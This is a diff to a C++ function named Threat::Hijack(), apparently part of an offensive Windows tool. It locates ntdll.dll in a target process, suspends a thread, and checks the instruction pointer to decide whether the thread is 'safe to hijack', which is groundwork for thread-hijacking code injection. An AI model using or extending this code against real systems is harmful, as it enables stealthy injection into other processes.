@@ -58,6 +58,7 @@ bool Threat::Hijack() {
5858 }
5959
6060 HMODULE ntdll = nullptr ;
61+ uintptr_t start = 0 , end = 0 , rip = 0 ;
6162
6263 for (size_t i = 0 ; i < (modulesCount / sizeof (HMODULE )); i++) {
6364 TCHAR path[MAX_PATH ];
@@ -67,21 +68,18 @@ bool Threat::Hijack() {
6768 return false ;
6869 }
6970
70- if (_tcsstr (path, L" ntdll.dll" ) == 0 ) {
71+ if (_tcsstr (path, L" ntdll.dll" ) != nullptr ) {
7172 std::cout << " [ DEBUG ] ntdll found!" << std::endl;
73+ MODULEINFO moduleInfos;
74+ if (!K32GetModuleInformation (hProcess, hModules[i], &moduleInfos, sizeof (moduleInfos))) {
75+ std::cerr << " [ ERROR ] K32GetModuleInformation: " << GetLastError () << std::endl;
76+ return false ;
77+ }
78+ start = (uintptr_t )moduleInfos.lpBaseOfDll ;
79+ end = start + moduleInfos.SizeOfImage ;
7280 break ;
7381 }
7482
75- MODULEINFO moduleInfos;
76-
77- if (!K32GetModuleInformation (hProcess, hModules[i], &moduleInfos, sizeof (moduleInfos))) {
78- std::cerr << " [ ERROR ] K32GetModuleInformation: " << GetLastError () << std::endl;
79- return false ;
80- }
81-
82- std::cout << moduleInfos.SizeOfImage << std::endl;
83-
84-
8583 std::wcout << path << std::endl;
8684 }
8785
@@ -93,26 +91,42 @@ bool Threat::Hijack() {
9391
9492 std::cout << " [ DEBUG ] SuspendThread" << std::endl;
9593
94+
9695 if (!GetThreadContext (hThread, &context)) {
9796 std::cerr << " [ ERROR ] GetThreadContext: " << GetLastError () << std::endl;
9897 if (ResumeThread (hThread) == (DWORD ) - 1 ) {
9998 std::cerr << " [ ERROR ] ResumeThread: " << GetLastError () << std::endl;
10099 }
101100 }
101+
102+ rip = context.Rip ;
103+
104+ std::cout << std::hex << start << std::endl;
105+ std::cout << std::hex << end << std::endl;
106+
107+ std::cout << std::hex << rip << std::endl;
108+
109+ if (rip >= start && rip < end) {
110+ std::cout << " [ DEBUG ] Thread is safe to hijack" << std::endl;
111+ ResumeThread (hThread);
112+ break ;
113+ } else {
114+ std::cout << " [ DEBUG ] Thread not safe to hijack" << std::endl;
115+ }
102116
103- Sleep (1000 );
104- std::cout << " Resume in 3..." << std::endl;
105- Sleep (1000 );
106- std::cout << " Resume in 2..." << std::endl;
107- Sleep (1000 );
108- std::cout << " Resume in 1..." << std::endl;
117+ // Sleep(1000);
118+ // std::cout << "Resume in 3..." << std::endl;
119+ // Sleep(1000);
120+ // std::cout << "Resume in 2..." << std::endl;
121+ // Sleep(1000);
122+ // std::cout << "Resume in 1..." << std::endl;
109123
110124 if (ResumeThread (hThread) == (DWORD ) -1 ) {
111125 std::cerr << " [ ERROR ] ResumeThread: " << GetLastError () << std::endl;
112126 return false ;
113127 }
114128 std::cout << " [ DEBUG ] ResumeThread" << std::endl;
115129
116- Sleep (5000 );
130+ Sleep (250 );
117131 }
118132}
0 commit comments